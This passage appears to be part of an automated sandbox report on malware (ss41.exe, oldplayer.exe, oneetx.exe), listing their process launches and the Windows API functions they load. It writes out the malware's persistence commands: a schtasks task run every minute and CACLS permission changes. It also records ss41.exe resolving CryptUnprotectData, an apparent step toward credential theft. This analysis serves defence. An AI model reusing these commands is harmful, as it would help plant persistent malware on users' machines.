"BLOB") "ss41.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")2e:T4b3,".exe" called "CreateProcessW" with parameter ""%TEMP%\oldplayer.exe"" - (UID: 00000000-00006580) ".exe" called "CreateProcessW" with parameter ""%TEMP%\ss41.exe"" - (UID: 00000000-00006580) "oldplayer.exe" called "CreateProcessW" with parameter ""%TEMP%\207aa4515d\oneetx.exe"" - (UID: 00000000-00006156) "oneetx.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "%TEMP%\207aa4515d\one" - (UID: 00000000-00000932), "oneetx.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "idMumCb:N"&&CACLS "oneetx.exe" /P "idMumCb:R" /E&&echo Y|CACLS "..\" - (UID: 00000000-00000932) "cmd.exe" called "CreateProcessW" with parameter "CACLS "oneetx.exe" /P "idMumCb:N"" - (UID: 00000000-00002788) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" - (UID: 00000000-00002788) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\207aa4515d" /P "idMumCb:N"" - (UID: 00000000-00002788) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\207aa4515d" /P "idMumCb:R" /E" - (UID: 00000000-00002788)2f:T1689,".exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006580) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006580) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006580) ".exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006580) "oldplayer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006156) "oldplayer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006156) "oldplayer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006156) "oldplayer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006156) "oldplayer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006156) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter msvcrt (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter wininet (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006112) "ss41.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006112) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000932) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000932) "oneetx.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000932) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002028) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002028) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002028) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002028) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002788) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002788) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002528) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002528) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007052) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007052) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007052) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003812) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003812) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007128) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007128) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007128) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006044) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006044) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006044) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003520) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003520) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003520) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003520) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005192) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005192) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005192) "oneetx.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005192) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005192) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007488) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007488) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007488) "oneetx.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007488) "oneetx.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007488)30:T94e6,".exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006580) ".exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006580) "oldplayer.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006156) "oldplayer.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006156) "ss41.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter HeapValidate (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceA (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter OutputDebugStringW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter ReadConsoleW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WinHttpQueryAuthSchemes (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006112) "ss41.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006112) "oneetx.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000932) "oneetx.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000932) "schtasks.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002028) "schtasks.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002028) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002788) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002528) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002528) "cacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007052) "cacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003812) "cacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003812) "cacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003812) "cacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003812) "cacls.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003812) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007128) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007128) "cacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter 